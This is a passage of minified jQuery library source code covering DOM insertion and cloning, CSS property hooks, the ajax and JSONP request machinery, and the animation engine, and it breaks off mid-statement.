this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f
-.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(;d<e;d++)c=this[d]||{},c.nodeType===1&&(f.cleanData(c.getElementsByTagName("*")),c.innerHTML=a);c=0}catch(g){}}c&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!="string"&&(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof j=="string"&&bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,function(a,b){b.src?f.ajax({type:"GET",global:!1,url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)})}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h<i;h++){var j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1></$2>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]==="<table>"&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i<u;i++)bn(l[i]);else bn(l);l.nodeType?j.push(l):j=f.merge(j,l)}if(d){g=function(a){return!a.type||be.test(a.type)};for(k=0;j[k];k++){h=j[k];if(e&&f.nodeName(h,"script")&&(!h.type||be.test(h.type)))e.push(h.parentNode?h.parentNode.removeChild(h):h);else{if(h.nodeType===1){var v=f.grep(h.getElementsByTagName("script"),g);j.splice.apply(j,[k+1,0].concat(v))}d.appendChild(h)}}}return j},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete d[c]}}}});var bp=/alpha\([^)]*\)/i,bq=/opacity=([^)]*)/,br=/([A-Z]|^ms)/g,bs=/^[\-+]?(?:\d*\.)?\d+$/i,bt=/^-?(?:\d*\.)?\d+(?!px)[^\d\s]+$/i,bu=/^([\-+])=([\-+.\de]+)/,bv=/^margin/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Top","Right","Bottom","Left"],by,bz,bA;f.fn.css=function(a,c){return f.access(this,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)},a,c,arguments.length>1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),(e===""&&f.css(d,"display")==="none"||!f.contains(d.ownerDocument.documentElement,d))&&f._data(d,"olddisplay",cu(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(ct("hide",3),a,b,c);var d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(ct("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o,p,q;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]);if((k=f.cssHooks[g])&&"expand"in k){l=k.expand(a[g]),delete a[g];for(i in l)i in a||(a[i]=l[i])}}for(g in a){h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cu(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cm.test(h)?(q=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),q?(f._data(this,"toggle"+i,q==="show"?"hide":"show"),j[q]()):j[h]()):(m=cn.exec(h),n=j.cur(),m?(o=parseFloat(m[2]),p=m[3]||(f.cssNumber[i]?"":"px"),p!=="px"&&(f.style(this,i,(o||1)+p),n=(o||1)/j.cur()*n,f.style(this,i,n+p)),m[1]&&(o=(m[1]==="-="?-1:1)*o+n),j.custom(n,o,p)):j.custom(n,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:ct("show",1),slideUp:ct("hide",1),slideToggle:ct("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a){return a},swing:function(a){return-Math.cos(a*Math.PI)/2+.5}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cq||cr(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){f._data(e.elem,"fxshow"+e.prop)===b&&(e.options.hide?f._data(e.elem,"fxshow"+e.prop,e.start):e.options.show&&f._data(e.elem,"fxshow"+e.prop,e.end))},h()&&f.timers.push(h)&&!co&&(co=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cq||cr(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(co),co=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(cp.concat.apply([],cp),function(a,b){b.indexOf("margin")&&(f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)})}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cv,cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?cv=function(a,b,c,d){try{d=a.getBoundingClientRect()}catch(e){}if(!d||!f.contains(c,a))return d?{top:d.top,left:d.left}:{top:0,left:0};var 